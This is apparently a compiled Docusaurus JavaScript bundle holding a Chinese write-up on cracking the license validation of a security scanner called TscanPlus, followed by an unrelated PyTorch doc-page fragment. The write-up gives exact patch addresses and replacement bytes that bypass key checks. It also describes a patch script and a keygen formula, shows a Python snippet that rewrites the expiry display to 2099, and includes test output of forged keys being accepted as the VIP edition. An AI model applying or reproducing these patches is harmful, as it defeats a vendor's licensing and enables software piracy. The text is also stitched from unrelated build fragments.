31"})}),(0,s.jsx)(n.td,{children:"\u5f3a\u5236\u8d70\u6210\u529f\u5206\u652f"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x142515e83"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"74 1d"})," ",(0,s.jsx)(n.code,{children:"je 0x142515ea2"})]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"90 90"})}),(0,s.jsxs)(n.td,{children:["\u4e0d\u518d\u9009 ",(0,s.jsx)(n.code,{children:"\u793e\u533aFree\u7248"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x142515e91"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"74 0f"})," ",(0,s.jsx)(n.code,{children:"je 0x142515ea2"})]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"90 90"})}),(0,s.jsxs)(n.td,{children:["\u6052\u9009 ",(0,s.jsx)(n.code,{children:"\u8ba4\u8bc1Vip\u7248"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x140499800"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"49 3b 66 10 0f 86"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"b8 01 00 00 00 c3"}),"\uff08",(0,s.jsx)(n.code,{children:"mov eax,1; ret"}),"\uff09"]}),(0,s.jsx)(n.td,{children:"\u6388\u6743\u6807\u5fd7 getter \u6052\u4e3a true\uff08\u524d\u7aef/\u529f\u80fd\u95e8\u63a7\u5171\u7528\uff09"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x1404cbbf7"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"8b 8c 24 ac 00 00 00"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"89 c1"})," + nop\xd75"]}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"mov ecx,[rsp+0xac]"}),"\u2192",(0,s.jsx)(n.code,{children:"mov ecx,eax"}),"\uff1a\u7b7e\u540d\u6bd4\u8f83\u5f3a\u5236\u76f8\u7b49"]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x1404caeb9"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"8b 8c 24 84 00 00 00"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"89 c1"})," + nop\xd75"]}),(0,s.jsx)(n.td,{children:"\u540c\u4e0a\uff08\u53e6\u4e00\u5904 phase3 \u7b7e\u540d\u6bd4\u8f83\uff09"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"0x1404cbc0a"})," / ",(0,s.jsx)(n.code,{children:"0x1404caeca"})]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0f 84 \u2026"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"90"}),"\xd76"]}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"field==0 \u2192 error"})," \u5206\u652f\u8df3\u8fc7"]})]})]})]}),"\n",(0,s.jsxs)(n.p,{children:["\u8865\u4e01\u811a\u672c\uff1a",(0,s.jsx)(n.code,{children:"/tmp/ctf_work/patch_win_final.py"}),"\uff08\u9010\u6761\u6821\u9a8c\u539f\u59cb\u5b57\u8282\u518d\u5199\uff09\u3002"]}),"\n",(0,s.jsxs)(n.h3,{id:"83-\u5728-windows-\u673a\u5668\u4e0a\u7684\u5b9e\u6d4bssh-admin1921681120",children:["8.3 \u5728 Windows \u673a\u5668\u4e0a\u7684\u5b9e\u6d4b\uff08",(0,s.jsx)(n.code,{children:"ssh admin@192.168.1.120"}),"\uff09"]}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u4e2a exe \u662f ",(0,s.jsx)(n.code,{children:"Subsystem = 2"}),"\uff08GUI\uff09\uff0c\u4ece SSH/cmd \u8dd1\u65f6\u5b83\u7684\u65e5\u5fd7\u8d70 Wails \u524d\u7aef\uff0cstdout \u53ea\u6709\u6a2a\u5e45\u3002\u4e3a\u4e86\u80fd\u770b\u5230\u8f93\u51fa\uff0c\u6211\u628a\u540c\u4e00\u8865\u4e01\u96c6\u7684\u526f\u672c\u628a ",(0,s.jsx)(n.code,{children:"Subsystem"})," \u6539\u6210 3\uff08CUI\uff09\u518d\u8dd1 \u2014\u2014 \u884c\u4e3a\u4e00\u81f4\uff0c\u53ea\u662f\u8f93\u51fa\u53ef\u89c1\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u57fa\u7ebf\uff08\u672a\u6539\uff0c\u4f2a\u9020 key\uff09\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"$ base_console.exe -license 111.222.333.444.1\nVersion: 3.5.3 \u793e\u533aFree\u7248 (RC=0)\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u7834\u89e3\u540e\uff08\u540c\u4e00 key\uff09\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"$ cracked_console_e.exe -license 111.222.333.444.1\nVersion: 3.5.3 Expired: \u672a\u8ba4\u8bc1 \u8ba4\u8bc1Vip\u7248 (RC=0)\n$ cracked_console_e.exe -license 999.111.222.333.2\nVersion: 3.5.3 Expired: \u672a\u8ba4\u8bc1 \u8ba4\u8bc1Vip\u7248 (RC=0)\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5373\uff1a\u4efb\u610f\u4f2a\u9020 key \u4e0d\u518d\u88ab\u62d2\u7edd\uff0c\u7248\u672c\u7c7b\u578b\u663e\u793a ",(0,s.jsx)(n.code,{children:"\u8ba4\u8bc1Vip\u7248"}),"\uff0c\u8fdb\u7a0b\u6b63\u5e38\u9000\u51fa\u3001\u4e0d\u5d29\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u4e2d\u9014\u7684\u4e00\u4e2a\u5b9e\u8bc1\u7ec6\u8282\uff1a\u53ea\u628a ",(0,s.jsx)(n.code,{children:"B0Uu8RPrb2"})," \u91cc\u7684 ",(0,s.jsx)(n.code,{children:"jne error"})," \u6539 ",(0,s.jsx)(n.code,{children:"nop"}),"\uff08\u4e0d\u5904\u7406\u8bb0\u5f55\uff09\u4f1a\u5d29\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"panic: runtime error: invalid memory address or nil pointer dereference\nTscanGui/conf.Ju1zV6nVMwrMz0(0x0) conf/license.go:468\nTscanGui/conf.B0Uu8RPrb2({...}) conf/license.go:1037\nTscanGui/internal/cli.runLicenseCheck({..., 0x11}) cli/license.go:20\nTscanGui/internal/cli.Dispatch(...) cli/dispatch.go:32\nmain.main() main.go:35\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u6761\u6808\u6b63\u597d\u786e\u8ba4\u4e86\u51fd\u6570\u6620\u5c04\uff1a",(0,s.jsx)(n.code,{children:"0x1404cc900 = conf.B0Uu8RPrb2"}),"\u3001",(0,s.jsx)(n.code,{children:"0x1404c8300 = conf.Ju1zV6nVMwrMz0"}),"\u3001",(0,s.jsx)(n.code,{children:"0x142515de0 = cli.runLicenseCheck"}),"\u3001",(0,s.jsx)(n.code,{children:"0x1425149a0 = cli.Dispatch"})," \u2014\u2014 \u548c arm64 IDB \u91cc\u7684\u540d\u5b57\u662f\u540c\u4e00\u5957 garble \u540d\uff08",(0,s.jsx)(n.code,{children:"O7rc6qW0L"}),"\u3001",(0,s.jsx)(n.code,{children:"Tmfc2rYXRKJT"})," \u4e5f\u5728\u6587\u4ef6\u91cc\u51fa\u73b0\uff09\u2713\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"84-\u56de\u7b54web-\u91cc\u8f93\u5165\u4f2a\u9020-key-\u63d0\u793a\u65e0\u6548-key",children:'8.4 \u56de\u7b54"web \u91cc\u8f93\u5165\u4f2a\u9020 key \u63d0\u793a\u65e0\u6548 key"'}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u624b\u6572\u7684 key \u672c\u6765\u5c31\u8be5\u5931\u8d25"}),"\uff1a",(0,s.jsx)(n.code,{children:"f4"})," \u5fc5\u987b\u7b49\u4e8e ",(0,s.jsx)(n.code,{children:'fold(first8(murmur3_32_seed0("phase3"+f1))) ^ 6'}),"\u3002\u8fd9\u6761\u5728 Windows \u7248\u53cd\u6c47\u7f16\u91cc\u88ab\u76f4\u63a5\u786e\u8ba4\u4e86 \u2014\u2014 ",(0,s.jsx)(n.code,{children:"0x1404c7220"})," \u7684\u5c3e\u5df4\u662f ",(0,s.jsx)(n.code,{children:"mov rax,[rsp+0x60]"}),"\uff08= \u524d\u7f00\u957f\u5ea6 6\uff09",(0,s.jsx)(n.code,{children:"xor eax, edx"}),"\uff08edx = \u524d 8 \u4e2a\u5b57\u7b26\u6309 nibble \u6298\u53e0\uff09\u2713\uff0c\u548c ",(0,s.jsx)(n.code,{children:"keygen.py"})," \u7684\u516c\u5f0f\u4e00\u81f4\u3002",(0,s.jsx)(n.code,{children:"f2 \u2264 30000"}),"\uff08",(0,s.jsx)(n.code,{children:"cmp \u2026, 30000"})," \u5728 ",(0,s.jsx)(n.code,{children:"0x1404cda62"}),"\u3001",(0,s.jsx)(n.code,{children:"0x1404d2c88"}),"\uff09\u3001",(0,s.jsx)(n.code,{children:"f3 < 1797379200"}),"\u3001",(0,s.jsx)(n.code,{children:"f5 \u2208 0..5"}),"\u3001\u6b63\u5219 ",(0,s.jsx)(n.code,{children:"^\\d+\\.\\d+\\.\\d+(\\.\\d+)?$"}),"\u3002\u7528 ",(0,s.jsx)(n.code,{children:"keygen.py"})," \u51fa\u6765\u7684 key\uff0c\u4e0d\u8981\u81ea\u5df1\u7f16\u6570\u5b57\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"web \u8def\u5f84\u548c CLI \u8def\u5f84\u4e0d\u540c"}),"\uff1a\u524d\u7aef JS \u8c03\u7684\u662f ",(0,s.jsx)(n.code,{children:"GetAppLic"})," / ",(0,s.jsx)(n.code,{children:"CheckAppLic"}),"\uff08\u6587\u4ef6\u91cc\u80fd\u770b\u5230\u8fd9\u6bb5 JS \u6865\u63a5\u6869\uff09\uff0cGo \u4fa7\u7b2c\u4e00\u6b65\u662f",(0,s.jsx)(n.strong,{children:"\u8bfb\u53d6\u5df2\u5b58 license \u8bb0\u5f55"}),"\uff08",(0,s.jsx)(n.code,{children:"License.lic"}),' + sqlite\uff09\uff0c\u8bb0\u5f55\u4e0d\u5b58\u5728\u5c31\u76f4\u63a5\u8fd4\u56de\u9519\u8bef \u2014\u2014 \u8fd9\u5c31\u662f"\u65e0\u6548 key"\u3002\u6240\u4ee5\u53ea\u6539 ',(0,s.jsx)(n.code,{children:"runLicenseCheck"})," \u7684\u5206\u652f\u4e0d\u591f\uff0c\u8981\u6539\u7684\u662f\u5171\u7528\u7684 ",(0,s.jsx)(n.code,{children:"conf.B0Uu8RPrb2"})," / \u6807\u5fd7 getter\uff088.2 \u91cc\u90a3\u4e24\u6761\u5df2\u7ecf\u628a\u8fd9\u6761\u8def\u6253\u901a\uff1a\u6821\u9a8c\u6052\u8fd4\u56de nil\u3001flag \u6052 true\uff09\u3002"]}),"\n",(0,s.jsx)(n.li,{children:'\u6587\u4ef6\u91cc\u641c\u4e0d\u5230"\u65e0\u6548\u7684Key"\u5b57\u6837 \u2713\uff08\u4e24\u4e2a\u7248\u672c\u90fd\u662f\u8fd0\u884c\u65f6\u89e3\u7801\uff09\uff0c\u8fd9\u672c\u8eab\u5c31\u662f"\u63d0\u793a\u6765\u81ea\u53e6\u4e00\u6761\u89e3\u7801\u8def\u5f84"\u7684\u8bc1\u636e\u3002'}),"\n"]}),"\n",(0,s.jsxs)(n.h3,{id:"85-2099-\u5728-windows-\u7248\u4e0a\u662f\u53ef\u4ee5\u505a\u5230\u7684\u5df2\u5b9e\u6d4b",children:["8.5 2099 \u5728 Windows \u7248\u4e0a\u662f",(0,s.jsx)(n.strong,{children:"\u53ef\u4ee5\u505a\u5230\u7684"}),"\uff08\u5df2\u5b9e\u6d4b\uff09"]}),"\n",(0,s.jsxs)(n.p,{children:['\u7b2c 5 \u8282\u91cc"\u6539\u4e0d\u4e86 2099"\u7684\u7ed3\u8bba\u53ea\u5bf9 arm64 \u90a3\u4efd\u6210\u7acb\uff08\u5b57\u7b26\u4e32\u5728\u53ea\u8bfb ',(0,s.jsx)(n.code,{children:"__rodata"}),"\u3001\u4e14 ",(0,s.jsx)(n.code,{children:"__bss"})," \u6ca1\u6709\u6587\u4ef6\u5185\u5bb9\u53ef\u9884\u586b\uff09\u3002Windows \u7248\u4e0d\u540c\uff1a"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u5b83\u7684\u5b57\u7b26\u4e32\u662f ",(0,s.jsx)(n.code,{children:"movabs r64, imm64"})," \u91cc\u585e",(0,s.jsx)(n.strong,{children:"\u4e24\u4e2a rune"}),"\uff08\u4f8b\uff1a",(0,s.jsx)(n.code,{children:"0x6548000065e0"})," = ",(0,s.jsx)(n.code,{children:"\u65e0"}),",",(0,s.jsx)(n.code,{children:"\u6548"})," \u2713\uff09\uff0c\u8fd0\u884c\u65f6\u8d70 ",(0,s.jsx)(n.code,{children:"utf8.EncodeRune"}),"\uff08",(0,s.jsx)(n.code,{children:"0x140076a40"}),"\uff09\u62fc\u4e32 \u2014\u2014 \u7acb\u5373\u6570\u5728 ",(0,s.jsx)(n.code,{children:".text"})," \u91cc\uff0c\u53ef\u6539 \u2713\uff1b"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u663e\u793a\u7528\u7684 ",(0,s.jsx)(n.code,{children:"(ptr,len)"})," \u662f ",(0,s.jsx)(n.code,{children:"conf"})," \u521d\u59cb\u5316\u91cc\u5199\u8fdb\u5806\u5bf9\u8c61\u7684\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"0x1404f1bfb 48 c7 40 20 09 00 00 00 mov qword [rax+0x20], 9 ; len('\u672a\u8ba4\u8bc1')\n0x1404f1c03 48 8d 0d 3f be 07 03 lea rcx, [rip+0x307be3f] ; -> .rdata 0x14356da49 = '\u672a\u8ba4\u8bc1'\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u957f\u5ea6\u548c\u6307\u9488\u90fd\u662f\u53ef\u6539\u7684\u7acb\u5373\u6570 \u2713\uff0c\u800c ",(0,s.jsx)(n.code,{children:".rdata"})," \u91cc\u6709 19524 \u6bb5\u672a\u88ab\u4efb\u4f55 ",(0,s.jsx)(n.code,{children:"lea"})," \u5f15\u7528\u7684\u7a7a\u95f2\u533a \u2713\uff08\u53d6 ",(0,s.jsx)(n.code,{children:"file 0x2ee7448"}),"\uff0c24 \u5b57\u8282\uff09\u3002"]}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u6240\u4ee5\u628a\u8fd9\u6761 ",(0,s.jsx)(n.code,{children:"(ptr,len)"})," \u91cd\u5b9a\u5411\u5230\u5199\u597d\u7684 ",(0,s.jsx)(n.code,{children:"2099.12.31"}),"\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"SLOT = 0x2ee7448 # .rdata \u5185\u672a\u88ab\u5f15\u7528\u7684\u7a7a\u95f2\u533a\uff08vaddr 0x142ee9648\uff09\nd[SLOT:SLOT+10] = b'2099.12.31'\nd[vaddr2file(0x1404f1bfb)+4] = 10 # len 9 -> 10\uff08\u7b49\u957f\uff09\nd[vaddr2file(0x1404f1c03)+3:+7] = struct.pack('>26)&0x3F == 0b100001"}),"\uff0c\u4e0d\u662f ",(0,s.jsx)(n.code,{children:"(w>>24)&0x1F"}),"\uff1b\u5199\u9519 \u2192 \u626b\u63cf 0 \u547d\u4e2d\u3002arm64 \u7684 ",(0,s.jsx)(n.code,{children:"B"})," \u7f16\u7801\u5668\u4e0d\u80fd\u7528\u5728 x86-64 Mach-O \u4e0a\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsxs)(n.strong,{children:["capstone \u53d6 ",(0,s.jsx)(n.code,{children:"lea reg,[rip+disp]"})," \u7684\u76ee\u6807"]}),"\uff1a\u64cd\u4f5c\u6570\u7d22\u5f15\u662f ",(0,s.jsx)(n.code,{children:"operands[1]"}),"\uff0c\u7c7b\u578b 3\uff08MEM\uff09\uff0c\u4e0d\u662f 2\uff1b\u7528 ",(0,s.jsx)(n.code,{children:"i.insn_name"}),"/",(0,s.jsx)(n.code,{children:"i.op_str"}),"\uff0c\u6ca1\u6709 ",(0,s.jsx)(n.code,{children:"i.op"})," \u5c5e\u6027\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsxs)(n.strong,{children:["\u53ea nop ",(0,s.jsx)(n.code,{children:"jne error"})," \u5206\u652f\u4f1a\u5d29"]}),"\uff08nil \u8bb0\u5f55\u6307\u9488\u88ab\u89e3\u5f15\u7528\uff09\u2014\u2014 \u6b63\u786e\u505a\u6cd5\u662f\u8ba9\u6821\u9a8c\u51fd\u6570",(0,s.jsx)(n.strong,{children:"\u76f4\u63a5\u8fd4\u56de nil"}),"\uff0c\u4e0d\u8d70\u8fdb\u540e\u7eed deref\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"Windows \u4e8c\u8fdb\u5236\u662f GUI subsystem"}),"\uff0cSSH \u91cc\u770b\u4e0d\u5230\u8f93\u51fa\uff1b\u8981\u9a8c\u8bc1\u5c31\u590d\u5236\u4e00\u4efd\u628a ",(0,s.jsx)(n.code,{children:"Subsystem"})," \u6539\u6210 3\uff08\u53ea\u6539 OptionalHeader\uff0c\u5176\u4f59\u5b57\u8282\u4e00\u81f4\uff09\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"UPX \u52a0\u58f3\u65f6 IDA \u662f\u7a7a\u7684"}),"\uff1a\u5148 ",(0,s.jsx)(n.code,{children:"upx -d"}),"\uff1bGo 1.25 \u7684 PE \u6ca1\u6709 COFF \u7b26\u53f7\u8868\uff0c",(0,s.jsx)(n.code,{children:"go tool nm"})," \u62a5 ",(0,s.jsx)(n.code,{children:"no symbols"}),"\uff0c\u7528 ",(0,s.jsx)(n.code,{children:".pdata"})," \u62ff\u51fd\u6570\u8fb9\u754c\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"garble \u5b57\u7b26\u4e32\u6709\u4e24\u79cd\u5b58\u50a8\u5f62\u6001"}),"\uff1a\u2460 ",(0,s.jsx)(n.code,{children:".rdata"}),"/",(0,s.jsx)(n.code,{children:"__TEXT.__rodata"})," \u91cc\u8fde\u7eed\u62fc\u63a5\uff08\u65e0 NUL \u5206\u9694\uff0c\u957f\u5ea6\u53ea\u80fd\u9760\u914d\u5bf9\u7684 ",(0,s.jsx)(n.code,{children:"mov reg, imm"}),"\uff09\uff1b\u2461 ",(0,s.jsx)(n.code,{children:"movabs r64, imm64"})," \u88c5\u4e24\u4e2a int32 rune\uff0c\u8fd0\u884c\u65f6 ",(0,s.jsx)(n.code,{children:"utf8.EncodeRune"})," \u89e3\u7801\u3002\u5f62\u6001 \u2461 \u7684\u7acb\u5373\u6570\u53ef\u6539\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsxs)(n.strong,{children:["\u7a0b\u5e8f\u6bcf\u6b21\u8fd0\u884c\u90fd\u4f1a\u91cd\u5199 ",(0,s.jsx)(n.code,{children:"License.lic"})," \u5c3e\u90e8"]}),"\uff08",(0,s.jsx)(n.code,{children:"~/.config/TscanPlus/config/License.lic"}),"\uff0c608 hex \u5b57\u7b26 = 304 \u5b57\u8282\uff09\u2014\u2014 \u52a8\u624b\u524d\u7559\u5907\u4efd\u3002"]}),"\n"]}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"11-\u8fb9\u754c\u54ea\u4e9b\u4e8b\u505a\u4e0d\u5230",children:"11. \u8fb9\u754c\uff08\u54ea\u4e9b\u4e8b\u505a\u4e0d\u5230\uff09"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u6fc0\u6d3b\u7801\u4e0d\u80fd\u79bb\u7ebf\u4f2a\u9020"}),"\u3002\u6821\u9a8c\u51fd\u6570 ",(0,s.jsx)(n.code,{children:"0x1404d9c40"})," \u8d70 ECDSA\uff1a\u8981\u6c42 65 \u5b57\u8282\u672a\u538b\u7f29\u516c\u94a5\uff08",(0,s.jsx)(n.code,{children:"\u516c\u94a5\u957f\u5ea6\u9519\u8bef\uff1a\u5e94\u4e3a65\u5b57\u8282"}),"\uff09\uff0c\u5e76\u6709 ",(0,s.jsx)(n.code,{children:"\u516c\u94a5\u6570\u636e\u683c\u5f0f\u9519\u8bef"}),"\u3001",(0,s.jsx)(n.code,{children:"\u516c\u94a5\u6570\u636e\u957f\u5ea6\u4e0d\u8db3"}),"\u3001",(0,s.jsx)(n.code,{children:"\u89e3\u5bc6\u516c\u94a5\u5931\u8d25: %v"}),"\u3001",(0,s.jsx)(n.code,{children:"ECDSA\u516c\u94a5\u672a\u521d\u59cb\u5316\uff0c\u8bf7\u5148\u8fd0\u884c obfuscate_license.py \u811a\u672c"})," \u2014\u2014 \u4e8c\u8fdb\u5236\u91cc\u53ea\u6709\u516c\u94a5\uff0c\u6ca1\u6709\u79c1\u94a5\u3002\u8bb0\u5f55\u5b57\u6bb5\uff1a",(0,s.jsx)(n.code,{children:"sign"}),"\u3001",(0,s.jsx)(n.code,{children:"version"}),"\u3001",(0,s.jsx)(n.code,{children:"app_ver"}),"\u3001",(0,s.jsx)(n.code,{children:"poc_kind"}),"\u3001",(0,s.jsx)(n.code,{children:"svip"}),"\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u4e00\u4e2a key \u4e0d\u80fd\u591a\u673a\u5668\u7528"}),"\u3002\u786c\u4ef6\u7ed1\u5b9a\u662f\u5b9e\u6d4b\u7ed3\u8bba\uff1a\u540c\u4e00\u6761\u8bb0\u5f55\u5728 Mac \u4e0a\u63a5\u53d7\uff0c\u5728 Windows \u4e0a ",(0,s.jsx)(n.code,{children:"license\u786c\u4ef6\u6821\u9a8c\u5931\u8d25"}),"\uff1bWindows \u8bfb\u6ce8\u518c\u8868 ",(0,s.jsx)(n.code,{children:"SOFTWARE\\Microsoft\\Cryptography"}),"\uff08",(0,s.jsx)(n.code,{children:"MachineGuid"}),"\uff0c",(0,s.jsx)(n.code,{children:"0x140f90d00"}),"\uff0c\u53e6\u6709 ",(0,s.jsx)(n.code,{children:"HostID incorrect: %q"}),"\uff09\u548c ",(0,s.jsx)(n.code,{children:"wmic.exe"}),"\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u8fc7\u671f\u540e\u80fd\u5426\u4e0b\u8f7d PoC"}),"\uff1a\u66f4\u65b0\u8d70\u670d\u52a1\u7aef \u2014\u2014 ",(0,s.jsx)(n.code,{children:"gettoken.json?app_key=%s"}),"\u3001",(0,s.jsx)(n.code,{children:"CheckTpUpdate Error: %v"}),"\u3001",(0,s.jsx)(n.code,{children:"\u670d\u52a1\u7aef\u672a\u8fd4\u56de\u4e0b\u8f7d\u51ed\u8bc1"}),"\u3001",(0,s.jsx)(n.code,{children:"pocs.zip"}),"\u3001",(0,s.jsx)(n.code,{children:"\u4e0b\u8f7d%s\u5931\u8d25: %w"})," / ",(0,s.jsx)(n.code,{children:"HTTP %d (%s)"}),"\u3002\u9700\u8981\u670d\u52a1\u7aef\u4e0b\u53d1\u7684\u4e0b\u8f7d\u51ed\u8bc1\uff0c\u4e0d\u662f\u672c\u5730\u80fd\u9020\u7684\u3002\u987a\u5e26\u4e00\u6761\u7ea0\u9519\uff1aPoC \u66f4\u65b0\u8def\u5f84\u7684\u5b57\u7b26\u4e32\u91cc",(0,s.jsx)(n.strong,{children:"\u6ca1\u6709"})," ",(0,s.jsx)(n.code,{children:"\u6587\u4ef6\u4e0d\u5b58\u5728"}),"\uff0c\u90a3\u6761\u62a5\u9519\u6765\u81ea MCP/workspace \u7684\u6587\u4ef6\u5de5\u5177\uff0c\u4e0d\u662f\u8fd9\u4e2a\u7a0b\u5e8f\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"2099 \u662f\u663e\u793a\u5c42"}),"\uff0c\u4e0d\u662f\u628a\u6388\u6743\u771f\u4e70\u5230 2099\uff1a",(0,s.jsx)(n.code,{children:"Expired:"})," \u90a3\u884c\u662f ",(0,s.jsx)(n.code,{children:"(ptr,len)"})," \u91cd\u5b9a\u5411\u7684\u7ed3\u679c\uff1b",(0,s.jsx)(n.code,{children:"f3 < 1797379200"}),"\uff082026-12-16\uff09\u8fd9\u6761\u786c\u9650\u5236\u4ecd\u5728\u4ee3\u7801\u91cc\uff0c\u8fc7\u671f\u5224\u65ad\u51fd\u6570 ",(0,s.jsx)(n.code,{children:"0x1404996e0"})," \u91cc\u7684 ",(0,s.jsx)(n.code,{children:"add rsi, 0x15180"}),"\uff0886400 s = 1 \u5929\u5bbd\u9650\uff09\u4e5f\u53ea\u662f\u5bbd\u9650\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:["\u6240\u4ee5\u8fd9\u5957\u4e1c\u897f\u7684\u51c6\u786e\u5b9a\u6027\u662f\uff1a",(0,s.jsx)(n.strong,{children:"\u8865\u4e01\u7ed5\u8fc7 + \u663e\u793a\u6539\u5199"}),'\u3002\u60f3\u8981"ECDSA \u6821\u9a8c\u6052\u4e3a\u771f"\u7684\u8865\u4e01\uff08\u628a verify \u51fd\u6570\u6539\u6210\u76f4\u63a5\u8fd4\u56de true\uff09\u4e5f\u662f\u53ef\u4ee5\u7684\uff0c\u4f46\u90a3\u540c\u6837\u662f\u7ed5\u8fc7\uff0c\u4e0d\u662f\u4f2a\u9020 \u2014\u2014 \u800c\u4e14\u5b83\u6539\u4e0d\u4e86\u786c\u4ef6\u7ed1\u5b9a\u90a3\u4e00\u5c42\u3002']}),"\n"]})]})}function t(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(j,{...e})}):j(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/ca484cc8.aa264c7a.js b/en/assets/js/ca484cc8.aa264c7a.js new file mode 100644 index 0000000..525ebea --- /dev/null +++ b/en/assets/js/ca484cc8.aa264c7a.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6929],{21193:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>i,default:()=>a,frontMatter:()=>c,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/README","title":"\u7b2c\u516b\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"},"next":{"title":"8.1 \u672c\u7ae0\u7b80\u4ecb.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb"}}');var s=n(74848),l=n(28453);const c={},i="\u7b2c\u516b\u7ae0",o={},d=[];function h(e){const 